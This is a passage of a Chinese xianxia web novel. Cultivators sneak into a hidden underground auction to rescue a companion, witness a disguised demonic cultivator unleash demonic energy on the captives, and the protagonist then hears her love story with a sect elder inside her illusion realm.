“他是去偷拍品的。”…… 小石头感应宁妄并不在城主府之中, 几人便离开了城主府,按着小石头给的讯息来到了一家离城主府不远的酒楼。 “这不是我们白天来过的酒楼吗?”裴道远瞪大了眼睛,看着面前依旧宾客满堂的酒楼, 有些不可思议地说道。 应夏颠了颠小石头,“确定是这里面没错。” 穆槐序抬头看了眼四层高的酒楼,并未发现什么异常。 温却沧勾了唇角, 眼底却没有多少笑意,道:“走吧, 我请你们。” “也是,有小师叔在,我们还怕什么。”裴道远低声嘟囔了一句,跟在温却沧身后走了进去。 温却沧没走几步便停下来, 转头看向沉思的应夏,温声问道:“怎么了,有何不妥?” 应夏伸手抓住了温却沧的左手,然后露出了一个灿烂的笑容, 眨了眨眼睛, 十分调皮道:“真的是师父请客吗?那我们可大吃特吃了!” 一边说着一边用手指隐晦地摩挲了一下温却沧的小指, 似乎在暗示着什么。 温却沧眸色一深,轻咳两声,道:“不必担忧,为师带够了钱。” 应夏这才点点头, 放开了他的手, 率先走进了酒楼。 温却沧蜷曲了几下手指, 稍稍握紧后又松开,最终将手搭在了剑柄上,以此消弭突如其来的热度。 酒楼中人满为患, 放眼望去都没有一个空座位了。 “哎哟几位客人,真不巧了,刚刚最后一间雅间被人定了,实在是没有空位了。”招待的酒楼侍者皱着一张脸,苦哈哈地说道,“您看,您要不再往前走走,不出百步便还有一家酒馆。虽说比不上咱们这儿,但那酒也是酿得格外的香!” 裴道远摇着扇子,语气不善:“我们才刚进门,你就打算撵客了么?” “没这意思,只是、只是实在是没有空位了,您、您也看见了。”侍者连忙解释,更加摆出一副可怜模样。 “我不信,我要上去看看。”裴道远说着就掠过侍者,朝着酒楼上层走去。 应夏注意到,那名侍者在裴道远强行突破上楼也没有慌张,那这暗面的拍卖会至少不是能在这酒楼中能找出来的,或许是像城主府那样,藏在地下或者…… 正沉思着,察觉到手指被人握住了,他一抬眸便撞入了一片潋滟春水之中。 温却沧传音道:“宁妄的所在确实是在这酒楼之中?具体是哪个方位?” 应夏立刻回答道:“是在这酒楼之中,但一进入这里,就感知不到具体方位了,好像……他哪儿都在。” 在进入酒楼时,应夏便立刻与小石头通感感知,但他发现宁妄的位置仿佛无处不在,不论是地下还是头顶,他都好想在那里。 这十分不对劲。 不用温却沧提醒,应夏马上反应过来这是扰乱定位的阵法。 “不急,他去查看了。”温却沧轻轻拍了拍应夏的手指。 原来裴道远刚才动作这么大,是为了去查看酒楼里的阵法,看来他是一走进酒楼就发现了。 应夏眨了眨眼睛,表示自己知道了。 不一会儿,裴道远就摇着扇子从楼梯上走下来,身后跟着一直擦汗的侍者。 “您看我没蒙您吧?这上头雅间里都有客人,真不是我们不想招待您!”侍者还在解释着。 裴道远一脸不耐烦,“行了行了,我知道了,我们现在就走。” 侍者见状,怕给客人留下坏印象,想多解释几句,但看见裴道远的神情又憋了回去,这时候明眼人都能看出来别去触霉头。 裴道远臭着一张脸招呼着应夏几人离开,却没有说太多别的话,只是道:“既然那人说还有家酒馆,我们便去那里吧。” 应夏应声附和。 下一刻便听裴道远传音道:“是扰乱阵法没错,但不好破阵,酒楼里人太多了,闹出太大动静不好。” “不过也别担心,我留下了一个东西,可以破坏那阵法效果一瞬间,那个时候应夏你得立刻感应具体位置。只有一瞬,或许会被人发现,但他们就算查也不会查我们身上,毕竟我们都不在那里了。” 应夏明白过来,“所以你说我们要去那家酒馆。” 这是做戏给背后的人看。 如那侍者所说,不出百步的确有一家酒馆,人还不少,不过还是有些空位置,裴道远刚想说要一间雅间,应夏就打断道:“就二楼吧。” 雅间不利于别人观察他们,二楼正好窗户大开能瞧见里头的情形,得让别人看见他们没什么异状才好。 落座后,裴道远做主点了不少的酒菜,还与应夏碰杯。碰杯那一刻,他就立即启动了破坏阵法的东西。 一瞬足以,应夏已然感知到宁妄在那酒楼中的具体位置,他敛下眼眸,正要仰头喝下酒水,却发现酒水不知何时出现了一层云雾。 这是……新山云雾?明明刚拿在手里时并不是。 应夏仰头喝下,瞥了眼一旁看着窗外的温却沧,不自觉扬起了唇角。 窥视的目光来得很快,但是温却沧似乎做了什么,那视线一扫而过没有发现什么异常便消失了。 温却沧转过头来,直接说道:“不必演了,我布下了禁制,旁人看来我们是正常喝酒吃菜,到时候也会按时走回城主府。” 裴道远的眼眸亮了亮,赞叹道:“不愧是小师叔!”说完转头问应夏,“怎么样?你找到宁妄的位置了没?” 应夏点点头,说:“找到了,在那几棵杏花树中。” 裴道远一愣:“什么?”- 几人贴着应夏的隐匿符再次来到酒楼前。 裴道远摸着其中一棵杏花树,啧了一声,道:“我竟是没发现这几棵树上也被人布了阵法……这阵法倒是玄妙,我还以为……” 应夏打断裴道远的喃喃自语,“你到底有没有办法不破坏阵法的前提下让我们进去?” 若不是怕打草惊蛇,就让师父他直接破坏阵法进去了。 “有。”裴道远将视线转向三人,“不过失败暴露的风险也很大。” 温却沧道:“不必担心,放手去做。” 有了小师叔这句话,裴道远便又多了几分把握,他向应夏又要了几张隐匿符,然后开始布阵。 温却沧见状便明白了裴道远刚才说的是什么意思,他这是要用隐匿符来布阵,应该是应夏的隐匿符给他的灵感,这是要新创一个阵法,难怪会说失败。 应夏对阵法虽有涉猎但了解不深,并不知道裴道远正在制作的阵法在书籍上从未出现过。 阵法很快成了,裴道远深舒了口气,道:“好了,我们现在可以进去了,这阵法和隐匿符的效果差不多,它可以完美融入任何阵法,我们可以随意游走在阵法之中不被别人发现。现在时间紧急,我也只能先弄出一个雏形来,不过应对当下境况,已是足够。” 雏形?应夏也反应过来,不过并没有开口询问,如今还是以找到宁妄为第一优先。 “走吧。”裴道远率先走入杏树之中,虚无的空间像是因他的进入荡出了细小的波纹,而后连带着他的人一起消失。 应夏与穆槐序紧跟其后,温却沧走在最后,将几人的痕迹抹去。 “诶诶,你有邀请函么?” 突然一个声音出现在狭窄的通道中,应夏几人停住了脚步。 裴道远却是不慌,“没关系,他看见的不是我们,我的阵……哦不对,你们应该要相信应夏的隐匿符。” 果然,那人目不斜视地从他们身边走过,叫住的是一位黄衣男子。 那男子似乎有些生气,从怀中掏出深紫色的邀请函,扔给那人道:“不早就给检查过了吗!你好好看!” 说完也不等人反应,直接扭头往通道深处走去。 那人也没有拦下他,而是将深紫色邀请函揣在了兜里,笑了几声道:“真好骗。” 裴道远瞪大眼睛,“这、这人竟是……” 应夏道:“看来这人也和我们一样,没有邀请函擅自进来的。” “他是怎么突破那阵法的?”穆槐序皱眉道。 “应该不止酒楼一个入口。”应夏看着那名身着仆从衣服的人,道,“刚才那黄衣人说已经检查过了,按理说邀请函到这里面已经不需要了,但这人还是骗过来邀请函,这么说他应该是想拿邀请函去干别的。” 穆槐序盯着那人,“这个方向是……” 温却沧道:“他是去偷拍品的。” 应夏勾了勾唇角:“没错,他走的方向正好是我们要去找宁妄的方向。”而宁妄便是与拍品们待在一起。 “那就跟着他,正好看看他到底想做什么。”裴道远说,反正刚好他们也是一路。 应夏点点头,拿出小石头与宁妄交换信息,“我们已经进来了,正在朝你所在的方向赶来。”还将刚才发生的事情告诉了他。 宁妄说:“好像已经有一个拍品被偷,所以现在这里有很多人看守,你们要小心些。” 应夏皱起眉,“已经被偷?” 裴道远看着前面的那人说:“那他这样去,不就等于是自投罗网?” 看那人轻松的模样,似乎并不知道此事。 温却沧道:“静观其变。” 第74章 第 74 章 他是那个逃走的魔修吗?…… 几人跟在那名身着仆从衣服的人身后, 这通道狭窄岔路极多,也不知道这人是怎么确认方位的,和小石头感应的方向竟是一点儿都没错。 也是, 毕竟能进暗面拍卖会偷东西的人,怎么会没有准备? 没有走多久,便遇到了宁妄刚才提到的看守护卫, 他们统一穿着紫色金纹服饰,这是御兽门的人。 “什么人?来这儿做什么?!”看守十分警惕, 听到脚步声时便直接出手擒住了那名灰衣仆从。 “啊,放开我!我可是我们朱公子派来寻吃食的,你、你可别乱来伤着我!”那人似乎早就准备好应对的说辞,一边慌忙地掏出邀请函来, “你看,我可是有公子给我的邀请函,你别搞错了!” 邀请函很快落入另一名看守手中,仔细查看起来。 裴道远挑眉道:“这人倒是聪明, 没有说邀请函是自己的, 不然按着邀请函上的标记对不上人, 他就直接暴露了。说是下人很容易蒙混过关,毕竟邀请函确实可以多带一人,不过吃食这个借口……” “邀请函是真的,不过你说你是来寻吃食的?拍卖会的雅间中有安排许多点心, 怎么还会让你单独出来找吃食?你在撒谎!”看守拎着那仆从的领子, 凶恶地威胁道, “你究竟是什么人?若不说出个所以然来,我就……” “饶命!大爷饶命!我真的是朱公子的下人……啊,我说、我说实话……您先放开我, 咳咳。” 拿着邀请函的看守给了一个眼神示意,另一个看守便松了手,“说!” “我说、我说……”仆从像是被抓得狠了,深呼吸缓了好几口气,才勉强恢复过来,慢慢地说道,“其实,这邀请函是我从我家少爷那儿偷来的……我也是想、想看看能不能出来捡点漏……” 穆槐序皱眉道:“这人聪明吗?他这话编得也太瞎了。” 应夏却说:“他是故意的。” “故意?为什么?”穆槐序不明白,他只能看见那俩个看守的表情越来越黑沉,一看就是不相信那仆从说辞的,不过碍于邀请函确实是真的,怕万一真的打伤了客人带来的下人,他们会被追究责任,所以才强忍着听完这人的胡编乱造。 果然,那仆从还没说完,有一个看守就听不下去了,准备将他绑了。 而就在这时,那灰衣仆从突然出手,两声“叮”前后紧挨着发出声响后,那两名看守便瞪大着眼睛动作停滞,明显能看出那俩看守双目无神,似乎被掠夺了神志。 “怎么回事?”裴道远惊讶道,他刚刚都没有看清那人的动作! 应夏眯起眼睛,没有回答,反而是温却沧说道:“他刚刚只是用了一枚铃铛在这二人眼前晃了一下,你看他手上,铃铛还在。” 那灰衣仆从两指尖确实夹着一枚小银铃,刚才那两声“叮”应该就是这个发出来的。 裴道远仔细去瞧那银铃时,已经被他收了起来,只好道:“看来是一个能蛊惑人的法器。” “不是法器,那银铃只是普通的铃铛。”温却沧皱眉道,“他刚刚是施展了法术,或者更确切一点,他施展的是魅惑术一类,而且……” 应夏接上他的话,眸中闪着些许兴味道:“他是个魔修。” 裴道远瞪大眼睛看向那名灰衣仆从,他根本感觉不到他身上有魔气,甚至刚刚那些人都没有发现,想着他又抬眸看向小师叔。 温却沧摇摇头,道:“我也没发现,他施展术法时我才察觉到的。” 应夏认同道:“他身上的伪装很厉害,估计就算渡劫期道君在这里,也识破不了。” 那名灰衣魔修咧着嘴从看守中间走了过去,待他走远后,看守才恢复了神志,看他们的表情似乎刚刚什么都没有发生过一样。 “这魔修境界不低。”温却沧见状道,“至少和我一样或者比我还要高。” 闻言,裴道远握紧了手中的扇柄,连小师叔都这么说了,那这魔修一定十分厉害! 但是这么厉害的魔修,为什么会来偷拍卖品呢? 应夏道:“反正我们也和他一路,继续跟着他便知道了。” 话音刚落,他将魔修一事告知了宁妄,让他小心。 宁妄却顿了顿,道:“我可能知道那个魔修是来干什么的了。” 应夏眸光一凛,“详细说说。” “抱歉应夏,我没有听你的话继续呆在原地,我从大箱子里出来了,我想看看暗面拍卖会的拍品都是些什么东西,然后我看到了……” 宁妄咽了口口水,继续道,“我看到了好多好多人。” “人?” “对,不仅有人,还有许多灵兽、妖修。” 应夏余光瞥到温却沧握着剑柄的手背泛起青筋。 “你之前怎么没有说?” “因为一开始在城主府里,我看见的确实是平常的拍品,并没有活物。但是……不知道为什么,转移之后我再从箱子出来,那些拍品就不见了,取而代之的全是……” 宁妄攥紧手中的小石头,呼吸粗重,“而且,我出来后才发现,我刚刚待的那个大箱子,里面到处都是血迹,还有一些焦黑的痕迹,小石头说……那是魔修留下的,上面有魔气残留。” “所以,我猜想这个大箱子应该原来是关魔修的地方,你还记得裴兄说过他看见过城主府中有魔修一事吗?” 裴道远连忙出声道:“记得,他似乎挣脱束缚跑了。” “我想那魔修应该还是被抓回来了,不然这个大箱子不会出现在这里,不过可能那个魔修又做了什么,他最后是在明面拍卖会开始的时候逃走的,毕竟这个时候大家的警惕性比较低。” 宁妄分析道,“所以我猜测,一种可能是,你们见到的那个魔修就是逃跑的魔修,他回来可能是因为这里还留有他什么没带走的东西,但这个可能性其实比较低,他既然准备逃走应该会把要带走的东西一起带走。” 应夏说:“不是同一个人,他身上没有受伤的痕迹,即便逃走立即治伤,也不会好得这么快。” 裴道远也道:“我看着也不像,虽说有伪装,但……他给我的感觉不一样,应该不是同一个人。” “第二种可能便是他们两个魔修是一伙的,他的同伴并不知道这个魔修逃走了,所以便进来救他。” 裴道远立刻否决了这个可能性,道:“我觉得这第二个猜测不太可能,魔修从不成群结队,也从未听说过他们有什么同伴,驱使他们行动的只能是利益。但魔修能愿意冒着生命危险潜入暗面拍卖会拯救同伴?收益与风险差距太大,我觉得不可能。” 宁妄说:“我也想过这个,但是,这里的拍品只有人、灵兽还有妖修,并没有其他吸引魔修的东西了,我能想到的就只有那个逃走的魔修。” “我们小心些跟着他便是,到时候就能知道他到底想要做什么了。” 应夏说完看向温却沧,见他微微颔首,便继续跟着那灰衣魔修。 后续遇到了不少看守,但那魔修都如法炮制地混了过去。 “这魔修竟然不伤人性命?也是,若是杀人血腥味会引起注意,到时候就更麻烦了。”裴道远自问自答道。 应夏将小石头的通讯一直开着,宁妄也能听见他们这边的动静,好即时反应。 “到了,我看见那扇石门了。” 如宁妄所说,拍品仓库的大门由一块深黑色的石头制成,上头刻着密密麻麻的暗纹,看上去就不好破坏进入的样子。 但是大门外面却只有两名看守护卫着,很是奇怪。 “按理说刚刚路上都有里外好几层看守,怎么到最后这个大门前了竟是只有两个人守着了?就这么放心没有人能闯到门口?”裴道远皱着眉。 应夏盯着那石门上的暗纹,道:“那石门上是咒术,而且刻着不下一百个咒术,难怪只有这么少的人看守了,其实就算没人守着,别人也很难突破那石门。” 裴道远刚想问什么,突然看见那名灰衣魔修并没有像之前那样拿出铃铛迷惑人,而是直接干脆利落地杀了那两人。 两具尸体倒下那一刻,立即化为黑灰。 应夏聚精会神地看着那名魔修,不知他要如何破解石门上的咒术,就连他自己都不知道要如何在不被发现的情况下安全破除。 然而,就在那魔修抬手摸向那石门之际,宁妄的声音突然出现。 “有人突然入魔了!不、不止他一个人,是、是很多人,还有妖修、那些灵兽,都入魔了!他们身上出现了魔气,好多好多魔气!” 应夏连忙道:“让小石头出来保护好你!” 原来那魔修本就不准备从正面破坏石门,他怎么会知道里面的拍品是什么?而且那魔气是怎么回事? “魔气?是那个逃走的魔修留下的?”裴道远惊道,“难道他们是同一个人?!”可是完全不像啊! “不一定,魔气魔修都可以控制。”应夏说,“不过,他们可能真的是一伙的。” 穆槐序问:“他们这么做,是想扰乱这场拍卖会吗?” 来不及深思,异变骤生! 第75章 第 75 章 毫不犹豫地纵身跃入魔气…… 周围的石壁上数道裂缝攀岩而上, 整个狭窄的通道剧烈的摇晃起来,脚底的地面已经在崩塌的边缘了。 “靠!怎么每次都是这种动静?!”裴道远忍不住吐槽道。 虽然嘴上这么说着,身体已经十分熟练地掏出木舟法器将几人稳稳接住, 小舟上的阵法立刻启动,将飞溅的落石挡在外面。 才一会儿功夫,整条通道的地面已全然塌陷, 望下去黑漆漆的一片,看不清底下到底是什么。 “这到底是哪里?”裴道远皱着眉看向四周, “中心城要是出了这么大动静,城主可不会不管,那魔修难不成敢在中心城内挑衅?” 温却沧道:“这里不是中心城。” 闹出这么大的动静,这个地方的禁制暴露无遗, 温却沧一下子便察觉到这里的位置。 “是中心城东南方向的一座山脉底下,离得远。” 即便是地动山摇,穆槐序的视线也没有从那名灰衣魔修身上移开,即便脚底下的路消失, 那魔修依旧维持着原来的姿势, 凌空而立。 应夏看见那石门上密密麻麻的咒文浮现出刺眼的光芒, 然而逐渐地,那光芒中掺进了一些黑色的魔气,而且变得越来越多,直至污染覆盖了整座石门, 那些咒文都被黑气掩盖。 突然, 他感知到身上的隐匿符气息在逐渐衰弱, 便立刻道:“符咒效果要消失了!” 这可不是个好消息! 话音刚落,便听到身边的温却沧沉声道:“有人过来了,大概十几个元婴和两个化神, 还有若干金丹期,应该是拍卖会的人。” 现在的情况十分不妙,隐匿符效果消失,他们就会暴露在魔修面前,免不了一战。能否打得过另说,若是等暗面拍卖会的人来了,到时候发现他们没有邀请函又和魔修纠缠在一块儿,说不定会被泼什么脏水呢! 毕竟这暗面拍卖会自己都不怎么干净! “什么?!”裴道远连忙问道,“还有多久失效?” 应夏说:“不到一刻,估计等人都赶到就要失效了。” “我这里还剩下一些你给的隐匿咒,能用吗?”裴道远突然想起来,当时他新创阵法时向应夏借了不少隐匿符咒,并没有用完还剩下好几张,足够几人使用。 应夏摇头道:“不行,我说的效果消失就是不管用了,不然我早就掏出符咒了。” 他其实不是没考虑会遇上魔修,但这个魔修的修为显然在他之上,而且他的魔气有些诡异,隐匿符被那魔气影响才导致失效的。 应夏咬了咬下唇,实际上他见过的魔修算少的,朱雀算一个,北天剑宗的可算三个,倒是真没有见过如此诡异的魔气。 后天魔气不纯粹他是知道的,里面混杂着许多乱七八糟的杂质,导致魔气不是纯黑而是有些发灰混沌。 但是这名灰衣魔修的魔气……该怎么说呢,也是十分混沌,但是其中的杂质与之前遇到的完全不一样。 如果说之前的魔修成魔是因为怨气恨意滔天的恶念,那么这名灰衣魔修的魔气却并不是这些东西,而是……纯粹的混沌。 就好像天真的小孩鲜少会显露出的,不谙世事的恶意,那是十分纯粹的恶意。 这样而构成的魔气实属罕见,应夏的传承记忆中有过记载,但是很少,大概千年才会出一个这样的魔修。他不是走火入魔的,他是天生的魔修。 生来修魔,却不是天生的魔。 应夏也是第一次遇见,他看向那名灰衣魔修的目光中带着许多好奇。 “那现在怎么办?”穆槐序紧握着匕首摆出一副战斗姿态,问道。 温却沧看了眼那名灰衣魔修,眨眼间便知晓了逃离之法,道:“我带你们离开这里。” 也是多亏了那名魔修,他才得以看破这个地方的空间禁制,现在还来得及在隐匿咒失效之前离开。 “等等,还有宁妄!他还在那石门后面!”应夏突然伸手抓住温却沧的衣袖,道,“师父,我有办法,你们待在这里,隐匿咒可以再多撑半刻!” 闻言,温却沧立感不妙,反手想要抓住应夏却没来得及,只能眼睁睁看着他跃出小舟的背影。 应夏头也不回地说道:“你们不必担心,我有功德金光在身,那魔修奈何不了我。而且现在也只有我能将宁妄带出来,那魔气十分诡异,你们切不可靠近接触!” 裴道远下意识攥住温却沧的衣摆,道:“小师叔,应夏还有小空间,他一定会没事的!” 温却沧握着剑柄的手微微颤抖着,那双眼眸牢牢定在自家徒弟身上,若有万一,他恐怕也绝不会坐以待毙。 舟内空气中焦灼的风在那一刻骤然停滞,小舟外的落石似乎也顿了一下,随后像是压抑到极致一般爆裂开来。 穆槐序与裴道远对视一眼,不敢说话。 这仅仅只发生在他们乘坐的那扁小舟附近,像是有无形的刃在割裂空气。 就连那灵木制成的小舟都似乎有些承受不住此等压力,船身出现了些许裂纹。 如今情况紧急,裴道远也顾不上心疼,只能默默祈祷着应夏不要出事,能顺利将宁妄带回来。 他们看到应夏的身影在快要接近灰衣魔修时突然消失,裴道远立刻道:“应夏应该是进小空间了吧?” 不过因为拍卖会的空间设有禁制,所以不能直接让宁妄进入小空间再将他带出来,但应夏身为小空间的主人可以随时进出。 此时,应夏便通过小空间来到了仓库内部。诚然,这里已经是魔气肆虐,如宁妄所言,所有被关在笼子或箱子里的人、妖修、灵兽都感染了魔气入魔,一双双血红的眼睛里透着疯狂。 他们不知休止地撞击着禁锢着自己的法阵牢笼,即便是出血了断骨了都未放弃。 混沌又浓稠的魔气让应夏很不舒服,这里的魔气与灰衣魔修的不同,就是很普通的后天魔气,由怨念等产生。 魔气太浓,导致小石头的感应有些失灵。 “应夏?我在这里!”宁妄的声音从仓库深处传来。 应夏立刻朝声源处走去,竟是瞧见一条巨大的黑蛇盘踞在一个箱子上,而箱子里正坐着宁妄。 “你怎么进来了?这里魔气涨得太快了,还好有宁玄护着我。” “时间不多,先跟我出去。”应夏一把拽起宁妄,那条巨大的黑蛇瞬间变小落在宁妄的手腕上。 身上的隐匿符已经开始发出细小的爆裂声,在如此浓郁的魔气中,它很快就要报废了!已经来不及坚持到他们出去了! 应夏咬了咬牙,沉了眼眸,对宁妄说道:“待会儿不管你看到什么听到什么,甚至感知到什么,都不要说出去,也不要告诉任何人,明白吗?” 宁妄也知事态紧急,连忙点点头应下。 应夏合上眼睛,再次睁开时已变成了一红一金两双诡异的眼瞳。 宁妄吃惊地吸了口气,却没有出声,也没有任何动作,反而十分畏惧地避开了那双眼眸。他能感觉到手腕上的宁玄也和他一样,显露出恐惧来,小小的身子打着颤,蜷缩在他的手中。 应夏并没有放出他体内的先天魔气,而是控制着这个仓库中的后天魔气,将二人的气息完全掩盖起来。 其他入魔的生物都畏惧着这双诡异眼瞳,伏在地上颤抖着不敢发出任何声响,与之前应夏一进来乱糟糟且响动巨大的场景形成明显反差。 仓库内疯狂无序的魔气瞬间被应夏所捕获驱使。 外头的灰衣魔修似乎也感知到了里面的情况,不自觉地“咦”了一声。 在他还来不及深思之时,已经被魔气完全吞噬的石门轰然倒塌,混沌的魔气如实质奔涌而出,瞬间淹没了那灰衣魔修,同时巧妙地暂时屏蔽了他对外界的感知。 应夏便趁此机会拉着宁妄走出了仓库,混沌的魔气笼罩在二人周身,包裹着他们向前。 而就在他们离开之时,一只苍白的手从灰色的魔气中陡然伸出,死死地握住了应夏的手臂! 应夏当机立断,将宁妄朝温却沧他们所在的方向用力推去,好在来得及,宁妄顺利地登上了小舟。 裴道远接住宁妄后,瞪大眼睛看向被魔气吞噬的应夏,顾不上其他,大喊道:“应夏——!” “我已经在这法器上留了灵力,你们先走!” 温却沧说完,便毫不犹豫地纵身跃入了那汹涌的魔气之中。 裴道远下意识也想跟上,被仍有理智的穆槐序一把拉住,说:“你下去添什么乱?应夏有功德金光护身,而且小师叔也出手了,我们现在能做的,就是赶紧离开这。” 说完又看向没回过神来的宁妄,问道:“小石头是不是还在你身上?” 宁妄猛地醒悟,连忙点头道:“对,还在我身上。” “那就没问题了,拍卖会的人要来了,快走,出去再说!” 三人乘着小舟即刻离开。 就在那一叶小舟刚离开禁制时,拍卖会的人匆忙赶到。 “怎么会变成这样?!” “糟了!快去通知……!” “啊!救命!!” 第76章 第 76 章 童彤:“我以为就算我是…… 应夏被拉入了一个幻境空间。 与朱雀梦境寸草不生的火海不同, 这里绿草如茵、鸟语花香,恍若世外桃源。 悠然飘荡的云朵间歇遮住太阳,清风带来湿润的水汽与草地独有的气息, 周围的灌木丛开着嫩黄嫩红的小花,有蝴蝶在上头飞舞、停歇。 这不像是一个魔修该有的幻境。 应夏看到脚底的草地突然变化出一条小道来,应该是那个灰衣魔修的邀请, 他看向延伸至树林深处的小道,未作思考便迈步走去。 一边走一边观察着四周, 幻境空间是其主的心相化身,它的构成一定是与其主的经历有关,所以有时可以通过幻境本身找到他的弱点在哪里。 离开最初的草地进入树林后,两侧的风景基本固化未变, 直到听到泉水撞击石头的声响,目光所及才逐渐开阔起来。 首先印入眼帘的是一片花海,粉紫色的花开满了那一片小小的山坡,应夏看不出那是什么花, 似乎是随处可见的野花, 甚至都没有一丝灵气或魔气, 只是普通的植物。 这个幻境空间里的生物或死物都没有任何灵气或者魔气,应夏体内的魔气与功德金光还在,不过似乎受到了什么限制,施展不出。 花海的旁边有一条小小的溪流, 而溪流边的石块上正坐着一个少女, 她赤着脚踩在小溪中, 似乎是在玩水。 察觉到有人来了,少女转过头看向应夏,露出一张姣丽的面容。 应夏有些意外, 因为那个少女长得并非倾国倾城,只是普通的好看,尤其是在这个美女如云的修仙界,显得很不起眼了。 但是他知道,这位少女便是这个幻境空间的主人,也就是说,她就是那个魔修。 “你来了呀。”少女笑起来,伸手拍了拍身边的空石头,道,“来这里坐,我们随便聊聊天。” “我能拒绝么?”应夏这么说着,却走到了少女身边,按照她的话坐下,“你叫什么名字?” 少女有些疑惑地道:“你跟别人真的不一样,他们一上来就要打我杀我,即便是同为魔修也对我极为戒备,更别说询问姓名了。而且,知道名字又怎么样,或许我报出的是假名呢?他们觉得到了这里,不是你死就是我亡,这个问题根本不重要。” 应夏也学着少女的样子,将鞋子脱了泡在水里,清清凉凉的感觉真的十分不错。 “你真奇怪。” 闻言,应夏勾唇笑起来,道:“我想知道你的名字,是因为想认识你。” “想认识我?”少女突然抬脚踢出水花,像是有些喜悦,她笑着说,“好呀,我叫童彤。” 应夏点点头,也报上自己的姓名,“我的名字是我自己取的,你的名字是怎么来的?” “是捡到我的阿娘帮我起的,不过她十年前已经离开我了。”童彤脸上的笑容并未减淡,她歪头问应夏道,“你是玄衍宗弟子?” 裴道远他们穿的还是玄衍宗弟子服饰,有如此一问很正常。 见应夏颔首,童彤又问,“那个化神期的玄衍宗人是你的什么人?我本来没有邀请他的,谁知他竟是不管不顾扎入魔气之中,还想要强行进入我的幻境空间。” 应夏微怔,突然站了起来,蹙眉道:“他是我师父,他现在在哪里?” 童彤似乎没想到他的反应这么大,惊了一瞬,而后又了然地拉住他的袖子,“不用着急,他没事,只不过被我困在幻境外围。” “我可不敢直接拉他进空间,他很厉害,我打不过他,魔气也不敢靠近他。”童彤又道,“玄衍宗原来有这么厉害的人吗?我记得当年……” 应夏知道温却沧没事后,便放下心坐了回去,见她陷入沉思,问道:“你认识玄衍宗的人?” 童彤点点头,“天枢……还是玄衍宗长老?” 听她提起天枢长老,应夏有些惊讶,随即答道:“是,你认识天枢长老?” 童彤轻笑了一下,低头看着清澈见底的溪水,笑着说:“认识呀,他还曾经喜欢过我呢。” 应夏突然想起裴道远和他们说过的八卦来,他记得故事中是一个伪装成散修的魔修,因为喜欢一棵巨灵树,导致天枢长老伐木做舟破了魅惑术,最后将那魔修反杀。 难道这童彤就是故事中的魔修?很有可能!那魅惑术应该就是那枚铃铛吧? “我听过有关天枢长老的八卦,是说他和一个伪装成散修的魔修的故事……”应夏试探地将那个八卦道出。 童彤听得津津有味,还解释了故事中几处奇怪的地方,“我并不是喜欢那棵巨灵树,那棵树是我送给天枢的礼物,后来他打算做成法器送我。确实是因为那巨灵树他才发现我是魔修,最后他确实来杀我了,不过当时我跑掉了。” “原来如此。”应夏又问道,“那你既然知道巨灵树能破解你的术法,为何还要送给他?” 童彤抬头看向应夏,没有直接回答那个问题,而是问他:“你喜欢你师父么?” 应夏蹙眉:“这与这个问题没有关系吧?” “我想知道。”童彤仍是坚持,“我说的是恋人的喜欢,你喜欢你师父么?” 应夏抿着唇思索了一会儿,“我从没想过这个问题。” “那就是还不喜欢了。”童彤叹了口气,“难怪你会问我刚才那个问题,若是你身为魔修也喜欢一个正道,大概就会理解我的所作所为了。” 应夏不解:“什么意思?” 童彤看着他殊艳却纯真的脸庞,又想到那个一直在试图突破她的空间禁制的化神期,笑着说:“罢了,算是当做你陪我聊天的报酬,告诉你也无妨。” “我是真的喜欢上天枢了,他也真的很喜欢我,或者说是深爱着那个我。”童彤回忆起那时候的画面,脸上出现的表情应夏有些读不懂,但他能感觉的到,她那个时候很幸福。 “现在的你和我一开始的时候很像,那个时候我还不知道被爱的感觉,所以当有人喜欢我爱我的时候,我真的无法把持。” 应夏不禁插嘴问道:“那是一种什么样的感觉?” 童彤摇摇头,“我不能告诉你那是什么感觉,任何词汇都显得单薄,只能说那个时候是我最快乐的一段时光,即使现在回忆起来仍旧让我喜悦。” 应夏脑海中只能浮现出天枢长老那张严肃古板的脸,根本想象不出他和面前这个娇憨的少女在一起的场景,怎么看怎么像父女或师徒似的,并不般配。 “你也看得出来,我长得很普通,顶多只能算得上清秀,可是在这个修仙界中那些女修都长得十分或美艳或清丽,毕竟修仙后拥有法术灵丹妙药可以美化自身,不过我没有这么做。” 童彤摸了摸自己的脸,“我很喜欢自己现在的样子,普通并不代表着不好。” “天枢长老是如何喜欢上你的?”应夏问。 童彤捧着脸道:“其实我也不知道他是什么时候爱上我的,当时我的伪装成一名散修进入秘境,谁知竟是和他一起遇险,我们两人被困在一个先辈的洞府中。这是我们的相识。” “我们互相扶持出了洞府,那个时候我想他已经将我当成朋友了,所以在出秘境后邀请我去玄衍宗。” “所以你去了?” 童彤却摇头道:“不,那一次我拒绝了。那个时候我们出来都耗费了很多力气,我的伪装也岌岌可危了,当然不能再和他回玄衍宗了!而且就算我们患难与共过,我好歹也知道我是个魔修。” 应夏“哦”了声,“那后来呢?” “第二次见面就是在中心城里,他认出了我,而且很热情地邀请我同行,那时候中心城举办了一次盛会,大陆上所有的商贩估计都集中在这里了,不仅丹顶阁,还有各处买卖法器、符咒的家族都来了。” “这一次他邀请我去玄衍宗我没有拒绝,因为我的修为提升了,甚至比他还要高,已经可以瞒住所有渡劫期以下的修士。” 应夏眨了眨眼睛,“你是炼虚期?”难怪这个幻境空间可以压制他的力量。 童彤也没有遮掩,点头道:“是,天枢那时候不过化神期,没看出来。而玄衍宗并无渡劫期修士,所以我去了。” “那是在去玄衍宗的路上,我给他下了魅惑术,那时候我也是新学了这个法术。”说着她抬手晃了晃小铃铛,发出清脆的声响,“他是我第一个施法者,没想到第一次就成功了,大概是他本身对我有好感且不设防,所以才这么顺利。” “后来我在玄衍宗住了一个月,这一个月里他完全爱上了我,而我也逐渐沦陷了。”童彤闭上了眼睛,复又睁开看向应夏,“那时候的我太过幸福,但是我知道他是因为魅惑术,所以我找到巨灵树送给他,便是为了破除魅惑术。” 童彤说到这,笑起来:“你知道吗?没有魅惑术,他也是那么喜欢我!我真的很高兴!” “世间最美不过两情相悦,那个时候我幸福地昏了头,我以为……” 她停住了,缓了好一会儿才慢慢道:“我以为就算我是魔修,他也会爱我。” 童彤突然抓住了应夏的手,定定地看着他的眼睛,说:“可是这只是奢望,他知道我是魔修后,那些过往的爱都消失了!他要杀我!” 应夏没有动,也没有说话,只是安静地回视。 他并没有在她眼里看到恨意悔意,只是有些遗憾与不甘心。 “不过,我不后悔让他知道我是魔修。” 